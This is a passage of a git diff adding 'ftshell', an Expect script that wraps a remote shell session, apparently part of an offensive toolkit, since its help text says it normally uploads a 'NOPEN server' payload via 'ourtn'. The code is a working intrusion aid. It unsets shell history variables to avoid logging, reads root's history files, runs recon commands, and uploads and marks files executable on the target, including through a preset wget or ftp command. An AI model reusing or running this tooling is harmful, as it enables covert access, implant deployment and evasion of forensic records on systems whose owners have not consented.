uPath + global TheirPath + global PathSet + global my_script + global my_script_firstline + global usesetenv + + dounsets + if { [string length $uPath] > 0 } { + if { $PathSet == 0 } { + if ($usesetenv) { + send "setenv PATH $uPath:\$PATH\r" + } else { + send "PATH=$uPath:\$PATH ; export PATH\r" + } + expect -re $prompt + send "echo PATH=\$PATH\r" + expect -re $prompt + } + set PathSet 1 + } + if { [string length $TheirPath] == 0 } { + if { $my_script_firstline > 0 } { + if ![file exists /current/tmp] { + system mkdir /current/tmp + } + if [catch "exec which fix-typescript" msg] { + send_user "\nftshell: fix-typescript not in PATH\n" + } else { + system fix-typescript $my_script 2>/dev/null | tail +$my_script_firstline > /current/tmp/ftshell.latest + } + } + if [catch "exec grep ^PATH /current/tmp/ftshell.latest | tail -1" msg] { + send_user "ftshell: Need fix-typescript in local PATH\n" + set TheirPath "" + } else { + set TheirPath "[exec grep ^PATH /current/tmp/ftshell.latest | tail -1]" + } + send_user "\nRemote PATH : $TheirPath\n" + } + + if { $donealready } { + return + } + set donealready 1 + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global usewhich + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + global dothisreallyquiet + + stty raw -echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "ftshell : Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "ABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_user "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { +# set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" + set prompt "\[ (>|%|:|#|\\$)]*.*(>|%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.10.3.2 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -9 list Add the list of colon delimited paths to the PATH. + -B Try to exec bash if available. + -E Use \"setenv VAR val\" to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U Execute the commands in the local file + /current/.ourtn-ftshell-upcommand on the target + to upload the file rather than the -u method. End result + must be that rname exists in /tmp. This will normally be a + wget or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, file + could just contain \"echo\", to basically do nothing at that + step. (ftshell -U option is used by ourtn -V.) + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +# my_script will be the file this window is scripted to, if any, with +# a "script -af file" command +set my_pid [exp_pid] +if [catch "exec which scriptcheck" msg] { + send_user "scriptcheck not in PATH\n" + set my_script "" +} else { + set my_script [exec scriptcheck] +} + +if [info exists env(SHOWTHIS)] { + set showthis "$env(SHOWTHIS)" +} else { + set showthis "" +} +send_user "+------------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+------------------------------------------------------\n" +sleep 1 +set my_script_firstline "" +if [string length $my_script] { + set my_script_firstline [exec grep -n "Welcome to ftshell v.$version" $my_script | tail -1 | cut -f 1 -d ":"] + send_user "window scripted to : $my_script (at line $my_script_firstline)\n" +} else { + send_user "ftshell : THIS IS NOT A SCRIPTED WINDOW\n" +} +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + # what if -I is an argument of something ftshell is wrapping? + # Then we fix it here. + if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] { + set ava "$avaa $avbb" + set avb "-I $avb" + } + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash 1 +} else { + set dobash 0 +} + +if [regexp "(.*)\\-9 ((\[^ \])*)(.*)" $argv ignore ava uPath ignore avb] { + set argv "$ava $avb" + # ourtn error checked this argument we will not +} else { + set uPath "" +} +set TheirPath "" +set PathSet 0 + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +set OtherUpload 0 + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_user "ftshell -u : uploading ${uLocalFile}\n" + set uLocalFile "" + set OtherUpload 1 + } else { + send_user "ftshell Local File : $uLocalFile\n" + } +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +if [regexp "(.*)\\-U (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + if ![file exists /current/.ourtn-ftshell-upcommand] { + send_user "FATAL: Using -U option without /current/.ourtn-ftshell-upcommand\n\n" + exit 1 + } + set uRemoteUploadCommand "[exec cat /current/.ourtn-ftshell-upcommand]" + send_user "ftshell -U : Using preset upload string (next line)\n" + send_user " : $uRemoteUploadCommand\n" + if {[string compare $uRemoteUploadCommand ""] == 0} { + send_user "Could not find any remote upload command in /current/.ourtn-ftshell-upcommand (-U)" + exit 1 + } +} else { + set uRemoteUploadCommand "" +} + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_user "\n" +send_user "+-----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+-----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.10.3.5 b/Linux/bin/ftshell.v3.10.3.5 new file mode 100755 index 0000000..1ba1052 --- /dev/null +++ b/Linux/bin/ftshell.v3.10.3.5 @@ -0,0 +1,1230 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.48 $ + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + global sentLines + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + set sentLines [expr $sentLines + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + global sentLines + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } +# expect -re "(.*)\r\n.*$prompt" { +# regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath +# regexp ".*\r\n.*is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath +# regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath +# regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath +# } + } else { + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + } + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" +# set remote_cmd "cat | tee /tmp/.tt.uu | $uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | tee /tmp/.t.$$.uu | wc -c" r] + gets $fp buf + send_user "$buf\n" + + # Issue remote command to recieve data + send_verbose "sending ...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + set sentLines 0 + +# set fp [open "|$local_cmd" r] + set fp [open "/tmp/.t.$$.uu" r] + #set blah [exec rm -f /current/tmp/t.uu] + #set lfp [open "/current/tmp/t.uu" w] + set bytesTransfered 0 +# while 1 { +# if {-1 == [gets $fp buf]} break +# send -- "$buf\n" +# updateStatus "sent" [string length $buf] +# } +# set send_slow {61 .011} + while 1 { + set buf "" + set len [gets $fp buf] + # ADD these only if ppp? + set blah [exec usleep 100] + set blah [exec usleep 100] + set blah [exec usleep 100] + set blah [exec usleep 100] + set blah [exec usleep 100] + set blah [exec usleep 100] + if {-1 == $len} break + if {$len > 0} { + set ret [send -- "$buf\n"] + #puts $lfp "$buf" +# set blah [exec echo "$buf" >> /current/tmp/t.uu] +# set ret [puts "$buf"] + #set blah [exec echo len=$len send returns $ret >> /current/tmp/dammit] + } else { +# set blah [exec echo BAD len=$len send returns $ret >> /current/tmp/dammit] + } +# send -- "$buf\n" + updateStatus "sent" [string length $buf] + # Delay here keeps FC3 ftshell client in synch? +# set pausenow [expr $sentLines % 10] +# if {$pausenow == 0} { +# 20060303: Now we do this once per line + set blah [exec usleep 100] + #set blah [exec usleep 100] + #set blah [exec usleep 100] +# } + } + close $fp + exec rm -f /tmp/.t.$$.uu + #set blah [exec usleep 100] + updateStatus "sent" 0 + exec usleep 100 + exec usleep 100 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + send "ls -l $outfile*\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+-----------------------------------------------------\n" +} + +proc execbash {forced} { + global dobash + global prompt + global usewhich + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global donealready + global uPath + global TheirPath + global PathSet + global my_script + global my_script_firstline + global usesetenv + + dounsets + if { [string length $uPath] > 0 } { + if { $PathSet == 0 } { + if ($usesetenv) { + send "setenv PATH $uPath:\$PATH\r" + } else { + send "PATH=$uPath:\$PATH ; export PATH\r" + } + expect -re $prompt + send "echo PATH=\$PATH\r" + expect -re $prompt + } + set PathSet 1 + } + if { [string length $TheirPath] == 0 } { + system rm -f /current/tmp/ftshell.latest + if { $my_script_firstline > 0 } { + if ![file exists /current/tmp] { + system mkdir /current/tmp + } + if [catch "exec which fix-typescript" msg] { + send_user "\nftshell: fix-typescript not in PATH\n" + } else { + system fix-typescript $my_script 2>/dev/null | tail +$my_script_firstline > /current/tmp/ftshell.latest + } + } + if [catch "exec grep ^PATH /current/tmp/ftshell.latest | tail -1" msg] { + send_user "ftshell: Need fix-typescript in local PATH\n" + set TheirPath "" + } else { + set TheirPath "[exec grep ^PATH /current/tmp/ftshell.latest | tail -1]" + } + send_user "\nRemote PATH : $TheirPath\n" + } + + if { $donealready } { + return + } + set donealready 1 + send "pwd\r" + expect -re $prompt + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + send "cd 